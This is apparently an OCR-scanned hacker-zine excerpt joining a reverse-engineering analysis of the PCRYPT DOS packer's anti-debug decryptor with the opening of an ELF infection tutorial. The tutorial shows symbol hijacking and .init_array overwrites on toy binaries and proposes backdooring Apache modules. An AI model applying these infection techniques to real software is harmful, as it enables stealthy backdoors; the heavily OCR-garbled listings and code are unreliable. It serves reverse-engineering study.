overwritten with the counter from the storage area and then used to load al with the new value (lodsb). ah is xored
with the new al value, and the result is moved back to al. This is the second XOR operation that completes the
decryption. Pointers to two ciphertext values have been incremented. The pointer used for the second al load needs
to be incremented manually (inc m16 at 86a).

After the INT3 handler ends, the CPU will execute the int1 instruction at 993 and execution will continue at cs:08ab
which is the
current INT1 handler (set at 967)...

0000:08ab aa stosb byte es:[di], al ; Save al to es:di, di++
0000:08ac cf iret ; Return from interrupt

This handler saves the decrypted value in al to es:di. This concludes processing 1 byte of the ciphertext.
The encryption algorhitm here is the most sophisticated so far. It is based on two XORs, but this time, the ciphertext
is xored with it's previous bytes in order to avoid using a constant value (stage 3) or a (limited length) key lookup

table, as it was the case of stage 2. Additionally, the byte is rotated and pre-xored with a rolling key.

This is a simple stream cipher, but the implementation is intentionally obfuscated.
I’'ve drawn out the schematic of the cipher below (@ sign denotes the instruction address):

e @871
ffff [cntr] . @872

.->0000 [ di ] (X)——-.

1 ool [ I cl+ —o——————- T : |
0002 [ ] ] (X)—-" g =
0003 [ si ] >——1[ rol 1->--'" @990 : \ /
0004 ... @98d @98e : \/

@8ab while bx— !'= 0;

Alternatively, to use cryptographic notation:

m(n) = rol( c(n+3), cl(n)) xor @0x68 xor c(n-1) ;
cl(n) = (0x68 + n ) & OXFF;
m - message, c - ciphertext; m(n) - nth message symbol (byte) and so on.

Here’s the C code that | used:

al = memory[si++];

al = rol(al, cl);

al = al ~ cl;
counter++;

ah = al;

al = memory[counter-1];
ah = ah ~ al;

al = ah;

memory [di++] = al;

cli+;

bx——;

T
} while (bx !=0);



And my implementation of the rol r/m8, cl operation:
uint8_t rol{uint8_t rm8, uint8_t cl){

uintl6_t tmp = rm8 | rm8<<8;

tmp >>= (8 - cl % 8));
return tmp & Oxff;
+

After the INT1 handler ends, the execution continues at the two invalid instructions (cs:0994), which causes the INT6
(#UD) handler to be executed (cs:0818):

0000:0818 0f23d6 mov dr2, esi ;

0000:081b 0f23c6 mov dr@, esi ;

0000:081e 0f23ce mov drl, esi ;

0000:0821 0f23de mov dr3, esi ; Set all breakpoints to esi
0000:0824 fecl inc cl ; Increase cl

;3 int 6 handler earlier set by code at 77e

0000:0826 0f23d0 mov dr2, eax ; Set dr2 to eax

0000:0829 55 push bp

0000:082a 8bec mov bp, sp

0000:082c 83460202 add word [bp + 2], 2 ; Move the saved ip 2 bytes ahead
0000:0830 5d pop bp

0000:0831 cf iret ; Finish servicing the isr

Which will move the instruction pointer two bytes forward to the fnop instructions at 0996:

0000:0996 dodo fnop ; INT6 handler return here
0000:0998 dodo fnop

0000:099a 0f23c8 mov drl, eax ; Scrap the debug registers
0000:099d dodo fnop ; Just in case someone is watching
0000:099f 0f23d8 mov dr3, eax ; Ditto

0000:09a2 0f20c0 mov eax, cro 5

0000:09a5 d9do fnop ;

0000:09a7 0f22c0 mov cr@, eax ; Do funny stuff with cre@
0000:09%aa dodo fnop ;

0000:09ac €a00002700 1jmp 0x27:0 ; Jump to linear address 0000 0270

You may be wondering what is at the address 0000:0270? Well, remember the strange writes to 0000:0270 by the
code at 09287

0000:0928 c7067002ea00 mov word [0x270], Oxea ; Set 0000:0270 to ea 00
0000:092e 8bcb mov ax, si ; ax = 0x6be

0000:0930 051302 add ax, 0x2f3 ; ax = 0x9b1

0000:0933 a37102 mov word [@x271], ax ; Set 0000:0271 = ax
0000:0936 8c0e7302 mov word [@x273], cs ; Set 0000:0273 = cs

;3 Note that while my listing shows the leading code segment as 0000 throughout
;3 the whole text, cs is in fact far away in memory, pointing where the DOS loader
;3 loaded the original COM file and then moved back by 1 as stage 3 was executed.

This data will now be jumped to and executed:
;3 The segment listed here is in fact zero

;3 Jump to pointer (cs:@9bl) that was written here at 0933
0000:0270 ea b109:[cs] jmp ptrl6:32

The execution will continue at ¢s:09b1, that is



0000:
0000:

09b1
09b2

4b
75d9

dec bx
jne 0x98d

This decrements bx, and if its not equal to zero, jumps back to ¢s:098d which starts the process of decrypting the
next byte. The location 98d is marked with a (*) in the listing.

If bx is zero, then the jump is not taken and the code continues execution:

’

~r we we s

~E wE wE s s s o

; Jump taken

Side effect, ds = 0000

Set es and ds = 0100

si = 0x9fd

Move ds by 0x10
Self modyfying code again,
word cs:9fd = ds+0x10

word cs:a@2 = ds + 0x10

I will let you guess
if this is taken or not

Immediate value changed,
jump to linear address

0000:09b4 Obed or bp, bp

0000:09b6 7413 je 0x9chb

;3 Call the function that checks for constants in the idle interrupt handler again

0000:09cb e8acfe call 0x87a

0000:087a 6a00 push @

0000:087c 1f pop ds

0000:087d c536a000 1ds si, [0xa0]

0000:0881 ad lodsw ax, word [sil

0000:0882 3d9cfb cmp ax, Oxfb9c

0000:0885 750c¢ jne 0x893

0000:0887 ad lodsw ax, word [sil

0000:0888 3d3d55 cmp ax, 0x553d

0000:088b 7506 jne 0x893

0000:088d ad lodsw ax, word [sil

0000:088e 3d2d75 cmp ax, 0x752d

0000:0891 7401 je 0x894

0000:0893 c3 ret

0000:09ce 07 pop es

0000:09cf 1f pop ds

0000:09d0 le push ds

0000:09d1 06 push es

0000:09d2 €80000 call 0x9d5

0000:09d5 5e pop si

0000:09d6 83c628 add si, 0x28

0000:09d9 90 nop

0000:09da Qe push cs

0000:09db o7 pop es

0000:09dc 8cd8 mov ax, ds

0000:09de 051000 add ax, 0x10

0000:09e1 8ed8 mov ds, ax

0000:09e3 2e0104 add word cs:[si], ax

0000:09e6 83c605 add si, 5

0000:09e9 90 nop

0000:09¢ea 2e0104 add word cs:[si], ax

0000:09ed o7 pop es

0000:09%ee 1f pop ds

0000:09ef 61 popaw

0000:09f0 b001 mov al, 1

0000:09f2 3c01 cmp al, 1

0000:09f4 7409 je Ox9ff

0000:096 60 pushaw

0000:097 le push ds

0000:098 06 push es

0000:09f9 b80000 mov ax, O

0000:09fc bb0000 mov bx, O

0000:09ff €a001fo7c 1jmp 0x___ :0x100
0202

; target segment is modified
; by add at 9ea



Sometimes when the thing you are looking at does not make sense at all, it’s worth to take a few steps back and
look around. At first the instructions from 90e onwards didn’t make any sense at all, because | had made an error
when rewriting the stage 1 decryptor program. Originally it was loading the COM file into an array. Because of the
COM load offset, all array accesses needed to be offset as well. This was bad for code readability. | rewrote the
code to use a larger array and load the file at 0x100 offset.

But | forgot to remove the offset from the length constant, which means the last 0x100 bytes to be decrypted by
stage 1 were never decrypted. But when | fixed that error, suddenly the beginning of stage 3 code became
curreupted. | already analyzed it at that point and | knew that there needed to be correct code there. Something was
wrong.

Then it hit me: the stage 2 key LUT start at 9f4 and goes up to be2. It should NOT be overwritten! This breaks the
encryption! The original code overwrites the first 30 bytes of the stage 2 key lookup table, thus breaking the first 30
bytes of stage 3 code. There is a bug in this particular packer version!

| changed stage 1 code to end demangling at 913, and suddenly the code in both stage 3 and 4 made perfect sense.
I think that this version of PCRYPT is broken, because | cannot find any other executables that use it online. There
are a few v3.45 pcrypt binaries. There’s a file list of a russian BBS that lists two distributions of PCRYPT - v3.44 and
v3.45. According to that file, version 3.45 was released just 12 days after 3.44:

PCRYP345.RAR 27417 02-09-97 +=============ﬂ PCRYPT v3.45 0=+
I +——— Iw
I |WnppoBumk COM n EXE-dannos| Il
r e + Il
I w BbicTpo paboTaerT. I
I w Hebonbuwon pa3smep. I
I w 3awmTa OT OTNafKu. Iw
I w 3awuTta OT M3MEHEeHUN. Iw
I w MonHocTbl Ha Accembnepe. Il
I w NepcoHanbHaa peructpauunsa. Il
r eull
I Copyright (c) 1997 by MERLiN Il
4==============[ Q1 Sep 1997 1=+l

Here’s the full Stage 4 disassembly listing:

; 7an

; stage :/_||_

; 1=

;3 INT3 handler

0000:0842 56 push si ;

0000:0843 le push ds .

0000:0844 51 push cx ; Save si, ds, cx
0000:0845 Qe push cs .

0000:0846 1f pop ds ; ds = cs;

0000:0847 6650 push eax ; Save eax;

0000:0849 fc cld ; Clear direction flag
0000:084a 0f20c0 mov eax, cr@ ;

0000:084d 0f22c0 mov cr@, eax ; Do nothing with cr@
0000:0850 6658 pop eax ; Restore eax
0000:0852 e€80000 call 0x845 2

0000:0855 5e pop si ; si = 0x855
0000:0856 50 push ax ; stack words = ax cx ds si
0000:0857 8bc6 mov ax, si ; ax = 0x855



0000:0859 81c6a303 add si, 0x3a3 si = 0xbf8

0000:085d 057901 add ax, 0x179 ; ax = 0x9ce, si + 0x179
0000:0860 3904 cmp word [si], ax ; Compare 9ce and *(cs:0bf8)
0000:0862 58 pop ax ; Restore ax

0000:0863 7205 jb 0x85a ; Jump if below (CF=1)
0000:0865 0f23d2 mov dr2, edx ; Write dx to dr2
0000:0868 8914 mov word [si], dx ; Load dx (8ab) to cs:0bf8
0000:086a ffo4 inc word [si] ; Increase the counter (@xbf8)
0000:086¢ 8b34 mov si, word [sil ; Load counter to si
0000:086e de dec si ; Decrement si

0000:086f 8aeld mov ah, al ; ah = al

0000:0871 ac lodsb al, byte [sil ; Load second ciphertext
0000:0872 32e0 xor ah, al ; ah *= al — decrypt
0000:0874 8ac4 mov al, ah ; Move cleartext byte to al
0000:0876 59 pop cx 3

0000:0877 1f pop ds ;

0000:0878 5e pop si ; Restore si, ds, cx
0000:0879 cf iret ; Return from interrupt.
;3 Interrupt code check function

0000:087a 6200 push @ ;

0000:087c 1f pop ds ; ds = 0000

0000:087d c536a000 1ds si, [0xa0]

;3 load ds:si with segment:offset from @0xa@, INT28 handler — DOS Idle Interrupt
0000:0881 ad lodsw ax, word [sil ; ax = ds:isi, si += 2
0000:0882 3d9cfb cmp ax, Oxfb9c

0000:0885 750c¢ jne 0x893

0000:0887 ad lodsw ax, word [sil

0000:0888 3d3d55 cmp ax, 0x553d

0000:088b 7506 jne 0x893

0000:088d ad lodsw ax, word [sil

0000:088e 3d2d75 cmp ax, 0x752d

0000:0891 7401 je 0x894

0000:0893 c3 ret ; Return from call
0000:0894 eal0ooffff 1jmp Oxffff:0 ; Invalid address

;3 INT1 handler. ISR stack words are = ip cs flags

0000:0899 8bec mov bp, sp ; bp = sp

0000:089b 897600 mov word [bp], si ; Set return ip to si
0000:089%e 8c4e02 mov word [bp + 2], cs ; Set return segment to cs
0000:08al 6633c0 Xor eax, eax ; Clear eax

0000:08a4 0f23f8 mov dr7, eax ; Clear all bp conditions
0000:08a7 0f23c0 mov dr@, eax ; Clear dro

0000:08aa cf iret ; Continue execution at cs:si
;3 new INT1 handler

0000:08ab aa stosb byte es:[di], al ; Save al to es:di, di++
0000:08ac cf iret ; Return from interrupt
;3 stage 4 entry point

0000:08ad e8caff call 0x87a ; Call subroutine at 87a
0000:08b0 o7 pop es ; es = 0100 (cs)

0000:08b1 1f pop ds ; ds = 0100 (cs)

0000:08b2 61 popaw

0000:08b3 60 pushaw

0000:08b4 le push ds

0000:08b5 06 push es

0000:08b6 b@Ob6 mov al, 0xb6 E

0000:08b8 e643 out 0x43, al ; PIT command b6: chl,
0000:08ba boff mov al, Oxff ; acces lo/hi, mode 2, 16 bit
0000:08bc e640 out 0x40, al ;

0000:08be €640 out 0x40, al Load oxffff to PIT ch 1.



0000:08c0 b430 mov ah, 0x30 INT 21h, ah=0x30:

0000:08c2 cd21 int 0x21 ; Get DOS version

0000:08c4 3c02 cmp al, 2 ; Compare maj version with 2
0000:08c6 7305 jae 0x8cd ; Jump above or equal
0000:08c8 33c0 Xor ax, ax ; ax = 0

0000:08ca 06 push es ; es = cs

0000:08cb 50 push ax

0000:08cc cb retf ; Pull cs:0000 and jump there
0000:08cd b430 mov ah, 0x30

0000:08cf cd21 int 0x21 Get DOS version again

;3 PSP:02 segment of first byte beyond memory allocated to program

0000:08d1 8b2e€0200 mov bp, word [2] ; bp = x(0100:0002) ;

;3 PSP:2c DOS 2+ environment for process

0000:08d5 8ble2c00 mov bx, word [0x2c] ; bx = %x(0100:002c)
0000:08d9 bf5553 mov di, @x5355 ; di = @x5355 “sSuU”
0000:08dc b94b43 mov cx, 0x434b ; CX = 0x434b “CK”
0000:08df b430 mov ah, 0x30 ; Get DOS version (3rd time)
0000:08el cd21 int 0x21 ;

0000:08e3 3c02 cmp al, 2 ; Either case continues
0000:08e5 7300 jae 0x8e7 ; code execution.
0000:08e7 33c0 Xor ax, ax

0000:08e9 bf0000 mov di, O

0000:08ec 8b00 mov ax, word [bx + sil

0000:08ee 90 nop

0000:08ef 2bf7 sub si, di

0000:08f1 bf5553 mov di, 0x5355 ; SUCK again

0000:08f4 b94b43 mov cX, 0x434b

0000:08f7 €80000 call 0x8fa b

0000:08fa 5e pop si ; si = 0x8fa
0000:08fb 81c6fed2 add si, Ox2fe ; Si = Oxbf8
0000:08ff 2ec7oAffff mov word cs:[si], Oxffff ; cs:0bf8 = Oxffff
0000:0904 €80000 call 0x907 -,

0000:0907 5e pop si ; = 0x907

;3 si = 0x6be now points at start of what stage 1 decrypted (cs has changed)
0000:0908 81lee4902 sub si, 0x249 ; S1 = Ox6be

0000:090c le push ds ; Save ds stack = 01 00 ...
0000:090d 6200 push @ HE.

0000:090f 1f pop ds ; ds = 0000

0000:0910 8bcb mov ax, si ax = 0x6be

;3 ax = 0x842 points at start of what stage 3 decrypted (cs has changed)
0000:0912 058401 add ax, 0x184 ; ax = 0x842

0000:0915 a30c00 mov word [@xc]l, ax ;

0000:0918 8c0e0e00 mov word [@xe], cs ; Set INT3 to cs:0842
0000:091c 8bc6 mov ax, si ; ax = O0x6be

0000:091e 056201 add ax, 0x16a ; ax = 0x828

0000:0921 231800 mov word [@0x18], ax ;

0000:0924 8c0eladod mov word [@xlal, cs ; Set INT6 to cs:0828
0000:0928 c7067002ea00 mov word [@0x270], Oxea H Set 0000:0270 to ea 00
0000:092e 8bcb mov ax, si ; = O@xb6be
0000:0930 051302 add ax, 0x2f3 ; = 0x9b1
0000:0933 a37102 mov word [@x271], ax ; Set 0000:0271 = ax
0000:0936 8c0e7302 mov word [@x273], cs ; Set 0000:0273 = cs
0000:093a 56 push si ; stack = be 06

0000:093b e80000 call 0x93e ;

0000:093e 5e pop si ; = 0x93e

0000:093f 56 push si ; stack = 3e 09 be 06
0000:0940 83c61d add si, 0x1d ; = 0x95b

0000:0943 90 nop

0000:0944 66b84de80100 mov eax, Oxfe84d ;

0000:094a 0f23c0 mov dr@, eax ; Set Oxfe84d as breakpoint 0
0000:094d 66b803000000 mov eax, 3 ;

0000:0953 0f23f8 mov dr7, eax ; Set breakpoint @ conditions



0000:0956 eadde800f0 1jmp 0xf000:0xe84d ; Jump to lin.address = 000f e84d
;3 Long jump triggers INT1

0000:095b 5e pop si ; Si = 0x03e

0000:095c¢ 81lc66dff add si, oxffeéd ; si = 0x08ab (overflow)
0000:0960 6a00 push @ ;

0000:0962 1f pop ds ;

0000:0963 89360400 mov word [4], si .

0000:0967 8c0e0600 mov word [6], cs ; Set INT 1 handler to cs:@8ab
0000:096b 5e pop si ; Si = Ox6be

0000:096¢C 1f pop ds ; ds = 0x0100

0000:096d 8cd8 mov ax, ds ; ax = 0x0100

0000:096f 051000 add ax, 0x10 ; ax = 0x0110

0000:0972 8ed8 mov ds, ax ; ds = 0x0110

0000:0974 le push ds ;

0000:0975 o7 pop es ; es = 0x0110

0000:0976 8bd6 mov dx, si ; dx = 0x08ab

0000:0978 bd000o mov bp, 0 ; bp =10

0000:097b fc cld ; Clear direction flag
0000:097c 9b wait ; Wait for BUSY# to go high
0000:097d dbe3 fninit ; Initialize FPU
0000:097f b168 mov cl, 0x68 ; cl = 0x68

0000:0981 Obed or bp, bp ; Set zero flag (ZF=1)
0000:0983 7441 je 0x9c6 ; Jump is taken
0000:0985 33db xor bx, bx

0000:0987 be0300 mov si, 3 ; si = 0x03

0000:098a bf0000 mov di, O ; di = 0x00

;3 ds:si points at the first byte of the executable
;3 (after the jmp @x64a at the very beginning)

(*)—>0000:098d ac lodsb al, byte [si] ; al = ds:si, al = 0x81. si++
0000:098e d2c0o rol al, cl ; Rotate al
0000:0990 32cl xor al, cl ; Xor al with 0x68
0000:0992 cc int3 ; Call INT3 handler (cs:0832)
0000:0993 f1 intl ; Call INT1 hanlder (cs:08ab)
0000:0994 ff invalid ; Trigger INT6 handler
0000:0995 ff invalid
0000:0996 dodo fnop ; INT6 handler returns here
0000:0998 d9do fnop
0000:099a 0f23c8 mov drl, eax ; Scrap the debug registers
0000:099d d9do fnop
0000:099f 0f23d8 mov dr3, eax ; Just in case someone’s watching
0000:09a2 0f20c0 mov eax, Cr@ ;
0000:09a5 dodo fnop ]
0000:09a7 0f22c0 mov cr@, eax ; Do funny stuff with cro
0000:09%aa dodo fnop ;
0000:09ac €a00002700 1jmp 0x27:0 ; Jump to linear address 0000 0270
0000:09b1 4b dec bx
0000:09b2 75d9 jne 0x98d
0000:09b4 Obed or bp, bp
0000:09b6 7413 je 0x9cb ; Jump taken
0000:09b8 4d dec bp
0000:09b9 8cd8 mov ax, ds
0000:09bb 050010 add ax, 0x1000
0000:09be 8ed8 mov ds, ax
0000:09c0 8ecO mov es, ax
0000:09c2 Obed or bp, bp
0000:09c4 75cl jne 0x987
0000:09c6 bb3705 mov bx, 0x537 ; bx = 0x537
0000:09c9 ebbc jmp 0x987
0000:09cb e8acfe call 0x87a

0000:09ce o7 pop es ;



0000:09cf 1f pop ds ; Set es and ds = 0100

0000:09d0 le push ds ;

0000:09d1 06 push es ;

0000:09d2 €80000 call 0x9d5

0000:09d5 5e pop si

0000:09d6 83c628 add si, 0x28 ; si = 0x9fd

0000:09d9 90 nop

0000:09da Qe push cs

0000:09db o7 pop es ; es = cs

0000:09dc 8cd8 mov ax, ds ;

0000:09de 051000 add ax, 0x10 ;

0000:09el 8ed8 mov ds, ax ; Move ds by 0x10

0000:09e3 2e0104 add word cs:[si], ax ; self modyfying code again,
; word cs:9fd = ds+0x10

0000:09e6 83c605 add si, 5 ;

0000:09e9 90 nop

0000:09%ea 20104 add word cs:[sil, ax ; word cs:a@2 = ds + 0x10

0000:09ed o7 pop es

0000:09%ee 1f pop ds

0000:09ef 61 popaw

0000:09f0 b001 mov al, 1 z

0000:09f2 3c01 cmp al, 1 ; I will let you guess

0000:094 7409 je Ox9ff ; if this is taken or not

0000:0916 60 pushaw

0000:09f7 le push ds

0000:098 06 push es

0000:09f9 b80000 mov ax, 0

0000:09fc bb0000 mov bx, O ; Immediate value changed

0000:09ff eal001fo7c 1jmp 0x :0x100 ; Jump to linear address

;3 There are a few nonsense instructions here, then the PCRYPT banner starts

Stage 4 calls the code at [0x7cfO+ds+0x10]:0100. | think this is a good point to end this analysis as | have not de-
crypted what lands there, and this file is getting long. | hopeyou enjoyed this read and learnt something new.

Reverse engineering this packer was a very valuable journey into static analysis and DOS programming. It expanded
my x86 knowledge greatly and was a lot of fun to do. It’s not finished yet, as stage 4 jumps to more code that still is
not the original binary. And after | crack that part, I still have to reverse the original program:) ...

Overall | really like the design of this packer. It's a COM file that just keeps on giving. | have no guarantee that stage
5 will be the last one, there is still a few hundred bytes that were not touched yet. There is an unpacker for it - but |
thought that documenting how the program works, both in terms of encryption/obfuscation of the original binary, as
well as it’s own contents, is valuable not only for me but also for others. This is the main reason why | wrote so much
of this text instead of just my own comments on the side of the disassembled code.

I’ve been using the following materials during this project:

- Intel 80386 Programmer’s Reference Manual (there is a nice 1986 typed copy online)
- Ralph Brown’s Interrupt List (RBIL)

- OSDEV wiki

- David Jurgens helppc (HTTP mirror: https://stanislavs.org/helppc/ )



https://stanislavs.org/helppc/

These are indispensable when doing DOS reverse engineering. For learning x86 (and other) assembly language,
through reverse engineering (and static analysis!), | recommend Dennis Yurichev’s book “Reverse Engineering for
Beginners”, known as RE4B.

As for disassembler, due to the sheer amount of comments | had to add, | just copied radare’s output into a text file
and then worked on that. Ghidra and IDA would probably work well too for disassembly. r2’s and ghidra’s
decompilers are no good for it.

That’s all for this work. If you liked this text, have some comments, or just want to say hello, drop me a line at
gorplop@sdf.org.

Cheers

~gorplop
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ELF Binaries: One Algorithm to Infect Them All
Authored by sadOp

ELF (Executable and Linking Format) is the standard format for organizing data and code that will occupy a pro-
cess’s image and its memory dump when a crash occurs (commonly referred to as a “core dump”) in Unix-like
environments. You can find the format utilized for executable binaries, shared object files (files ending in .0), shared
libraries/shared objects (files ending in .so), kernel modules (files ending in .ko), and firmware (files ending in .bin
but contain program or application specific code and data embedded in ELF) on platforms including mobile phones,
PCs, embedded systems (game consoles, 10T, lloT, etc.), and servers. Due to the popularity of the ELF format, there
has been a steady stream of research into its instrumentation. One particular area of interest that we will focus on is
the insertion of malicious code (referred to as parasitic code from here on out) into an ELF binary while keeping its
original functionality.

In this piece, we’ll walk through ELF binary infection through example. To get the most out of this, | encourage the
reader to familiarize themselves with the ELF standard (see references at the end) or use it as a guide in parallel with
the information here.

Inserting parasitic code into an ELF binary is commonly called “ELF binary infection.” ELF binary infection at the
“highest quality” often involves using infection algorithms. These algorithms generally target ELF under one of its
use cases. For example, infecting an executable that is either dynamically or statically linked could be performed
by infection algorithm, Text Segment Padding, or PT_NOTE to PT_LOAD on 32-bit or 64-bit Intel Architecture (we
focus primarily on x86_64 and x86 architecture for the paper’s entirety). However, infecting a shared object (library)
with either Text Segment Padding or PT_NOTE to PT_LOAD would present a hurdle for parasitic code execution, as
most shared objects do not utilize an entry point (the dynamic/runtime linker and loader being one exception) and
consequently won’t be executed directly by a user or the system. Instead, shared libraries via the dynamic linker
(Id-linux-*.s0.*) are mapped into the process’s image when the linker identifies dependencies (references to code or
data not readily available in the executable but part of a shared object).

One possible circumvention to this problem might involve hooking/hijacking an exported symbol in a shared library.
You locate the symbol of the desired function in the .dsym section and change its value (the address) to that of your
parasitic payload. Then when an application linked against the shared library calls, the function associated with the
hijacked symbol would result in the execution of the parasite.



funcl();
func2(};

#include "testlib.h"
main() {
funcl();

#include<stdio.h>
#include "testlib.h"

funcl() {
printf("This is funcl\n");

func2() {
printf("This is func2\n");

func2() {

printf(“This is func2\n");

We compile testlib.c to produce testlib.so, our shared library:
sh-5.1% gcc -c testlib.c -o testlib.o -fPIC

sh-5.1% gcc -shared testlib.o -o testlib.so

Our application (main.c), which will be compiled and dynamically linked against testlib.so as such:

sh-5.1%$ gcc main.c ./testlib.so -0 main

Running the application will produce the expected result.
sh-5.1% ./main

This is funcl



sh-5.1%
We can examine the exports of testlib.so with ‘radare2 (r2)':

sh-5.1$% radare2 -w testlib.so
ERROR: Cannot determine entrypoint, using 0x00001040

WARN: run r2 with —-e bin.cache=true to fix relocations in disassembly

—— Command layout is: <repeat><command><bytes>@<offset>.

show 3
hexdumps of 20 bytes at 0x33

[0x00001040]> iE

[Exports]

nth paddr vaddr bind type size lib name
6 0x00001109 0x00001109 GLOBAL FUNC 22 funcl
7 0x0000111f 0x0000111f GLOBAL FUNC 22 func2
[0x00001040]1>

For example: 3x20@0x33 will

From this, we can see that the symbol func1 has a value of 0x00001109 and func2 symbol has a value of
0x0000111f. These values correspond to the address of func1 and func2, respectively. We can verify this by running

“objdump -d testlib.so":

0000000800801109 <funcl=:
1109:
110a:
116d:
1114:
1117
111c:
111d:
111e:

L

89 e5

8d 05 ec Be 0O 08
89 7

14 ff ff ff

Y= I A A ¥ ]
oo oo o0

wn
o o o

(Al
(*%]

000000000000111f <func2=:
111f:
1120:
1123:
112a:
112d:
1132:
1133:
1134:

L IV, |

89 e5

8d 05 e4 Pe 0O 08
89 c7

fe fe ff ff

L= I A A ¥ ]
o © o0 oo

[¥al

il
[¥¥]

2080 <_fini+@xec8>

208e <_fini+Bxed6>

From here, all we need to do is modify the symbol value of func1 to that of func2 with r2, but first, we have to locate
the .dsymtab section. Running ‘readelf -S testlib.so” will print out our section header table. From there, we can use

the address field in the output to help us locate it in r2 for patching.



sh-5.1% readelf -5 testlib_so
There are 28 section headers, starting at

Section Headers:

[Nr] Name
Size

Type
EntSize

offset 8x33a8:

Address
Flags Link Inf
elelefelelalelalealelalelalele!

o]

Offset
Align
AEERREER

0] NULL
0600000000000000 OAEOAOEEHOEHOAREO 0 0 0

1] .note.gnu.pr[...] NOTE 0000P00E0AA0A2Za8 0POBH2a8
0000000HOR000030 0HEOHOAOOE0EEEEE A 0 0 8

2] .note.gnu.bu[...] NOTE 00000000000002d8 0000028
0000AEAROERREE24 0AOOROAOEEEE0EEE A 0 0 4

3] .gnu.hash GNU_HASH 0000000000000300 00OEO3E0
FREARRARRDRARARDARMNG TR AR R R R DR R R DR A # (] ]

DYNSYM 0000000000000328 0000328

0000000000000018 A 5

4] .dynsym
0B0B006RERERAACA

Entry #4 is the section header table entry for the .dynsym in previous graphic. We can seek to this address in 'r2’

sh-5.1% radare? -w testlib.so
Cannot determine entrypoint, using 8x80081040
run r2 with -e bin.cache=true to fix relocations in disassembly
-- Change the UID of the debugged process with child. wid {requires root)
[0x00001040]> s 0x0O0EH328
[6x00000328]> px

72 T45f °
5567 6973 7465 T2
626c 6500 549 5
7254 4d43 6c6f 6el

ju;unuuus;ujfrﬂ.

Above we can see the hex-dump of .dynsym. If you look at offset line 0x000003b8 then 9 bytes over you will see
a familiar address “0911000000000000” that’s the little endian version of the func1 symbol value and address of

funci. This is our target. Below is the structure of each symbol if you are curious as to what the other fields in the
hex-dump might be.




tyvpedef struct elfed_sym {

Elfed _lWord st_name; /¥ Symbol name, index in string tbl
unsigned char st_info; f* Type and binding attributes
unsigned char st_other; /¥ Mo defined meaning, @ */

1fed _Half st_shndx;

Elfed _Addr st_value;

Elfed Xword st_size;

¥ ELfed_Sym;
Continuing with our exercise, we successfully seek to the start of the address we want to overwrite. Then modify the
value there with the func2 symbol value, exit, and rerun the main application.

[0x000083c1]> § PEE3b8+8

:||-_||||||||||:-..:||: - pR

|-.||||||||||:-..:||: - gquit

(

h-5.15 _[main

his is func2
[]




We have successfully redirected execution to func2 via symbol hijacking.

Considering our target binaries could have been part of a large software suite (Apache HTTP Server for example),
where we hijack request handling functionality to insert our logic, we could insert code that searches the HTTP
request for a magic number identifying a “client” who wants to access the backdoor functionality. Such an infection
would allow us to blend in with regular HTTP traffic via one of Apache’s trusted modules. In many cases, the system
admin and network analyst would likely be no wiser. However, the limitation of this approach is that we would need
an ELF binary to call the function linked to the exported and hijacked symbol. So let us look at how we can get code
execution simply by having an ELF binary run when linked against an infected shared object.

To demonstrate this technique, we’ll first target a dynamically linked library on a “dummy” program:

#include<stdio. h>
__attribute__ ((constructor)) void msg(int argc, char skargv) {
printf(“hello from msg() constructor\n”);

¥

__attribute_ ((constructor)) void second() {

printf(“hello from second() constructor\n”);

¥

void not_called() {
puts(“I should have never been called\n”);

}

int main() {
puts(“hello from main —— hopefully all constructors were called.\n"”);
return @;

This program is simple; it has two functions with constructor attributes. The constructor attribute will cause the
defined functions labeled with them to execute before the *main* function in the order they are defined. Finally, there
is a *not_called* function that should not be reached/executed under normal circumstances. Our dummy program
will be called “ctors” and the associated source file “ctors.c”. Compilation instructions are in the comments in the
source code. Executing the resulting binary yields the expected results:

[sad@p@Arch-Deliberate experimental]$ . /ctors
hello from msg() constructor
hello from second() constructor

helle from main -- hopefully all constructors were called.

[sad@p@Arch-Deliberate experimental]$

Using the 'nm’ command (list symbols in our binary) and piping the output to ‘grep’ to look for our ‘'msg’ function will
yield its position in our program. We then disassemble the binary with ‘objdump’ to verify the location by
disassembling the binary along with the function.



[sad@p@Arch-Deliberate experimental]$ nm ctors | grep msg

0000000000001139 T msg
[sadOp@Arch-Deliberate
0000000000001139 <msg>:

1139:
113a-
113d:
1141:
1144
1148:
114f-
1152:
1157:
1158:
1159:

000000000000115a
115a:
115b:
115e:
1165:
1168:
116d:
116e:
116f:

[sad@p@Arch-Deliberate experimental]$

[ R ]

D E@EEmLY®mEn

NN oW
Wio o

<second>:

BB
@ LN

3

89
8d
89

e5

¢}
cf

c3 f

9 e 0O 0O

fff

Ge 00 60

fff

push
mov
sub
mov
mov
lea
mov
call
nop
leave
ret

push
mov
lea
mov
call
nop
pop
ret

experimental]$ objdump -d ctors | grep 1139 -A 20

), %rax : <_I0_stdin_used+0x8>

xec3(¥rip),¥rax 2028 <_I0 stdin_used+8x28>
%rax,%rdi
1030 <puts@plt>

%rbp

Historically the ELF and ABI (Application Binary Interface) standards handled the execution of constructor routines
in the *.ctors* and *.init* sections of the binary. However, in later versions of the standard, the mechanism involving
*.init* and *.ctors* for constructor execution was replaced with *.init_array* and *dynamic tag* entry DT_INIT_ARRAY
(dynamic tag entries are part of the dynamic segment and utilized by dynamic linker/loader for binaries that are
dynamically linked). This array consists of entries of function pointers, each pointing to a constructor routine that will
execute before *the main* function. We can see the entries with “objdump’ again:

[sad@p@Arch-Deliberate experimental]$ objdump -D ctors | grep .init_array -A 15
Disassembly of section .init_array:

0000000000003dcl <.

3dc:

30
0o
Be
Be
39
00
08
08
S5a
11
Be
0o

init_array>:

11
2]e]
6o
6o
11
0o
e]e]
e]e]

0o
0o
0o

Disassembly of section .fini_array:
[sadOp@Arch-Deliberate experimental]$

%dl, (%
%al,
%al
%al

%al, (¥rax)
%al, (¥rax)
%al, (¥rax)
%rds

%ea

%al

%al, (%

Disregard the “disassembly” portion as *.init_array* does not hold instructions, but the “-D” flag in objdump will
cause all sections to disassemble regardless. Instead, focus on the hex opcode output; you will see “39 11” at offset
0x3dc8; the same value we obtained from the ‘'nm’ output for the ‘'msg’ function and constructor but in “little-endian’
byte order. Let us overwrite one of these function pointers with the offset for our *not_called* function.

Load the binary in 'r2" in write mode (-w) and *analyze all* flag (-A).



[sad@p@Arch-Deliberate experimental]$ r2 -Aw ctors
run r2 with -e bin.cache=true to fix relocations in disassembly
Analyze all flags starting with sym. and entry@ (aa)
Analyze all functions arguments/locals (afva@@@EF)
Analyze function calls (aac)
Analyze len bytes of instructions for references (aar)
Finding and parsing C++ vtables (avrr)
Type matching analysis for all functions (aaft)
Propagate noreturn information (aanr)
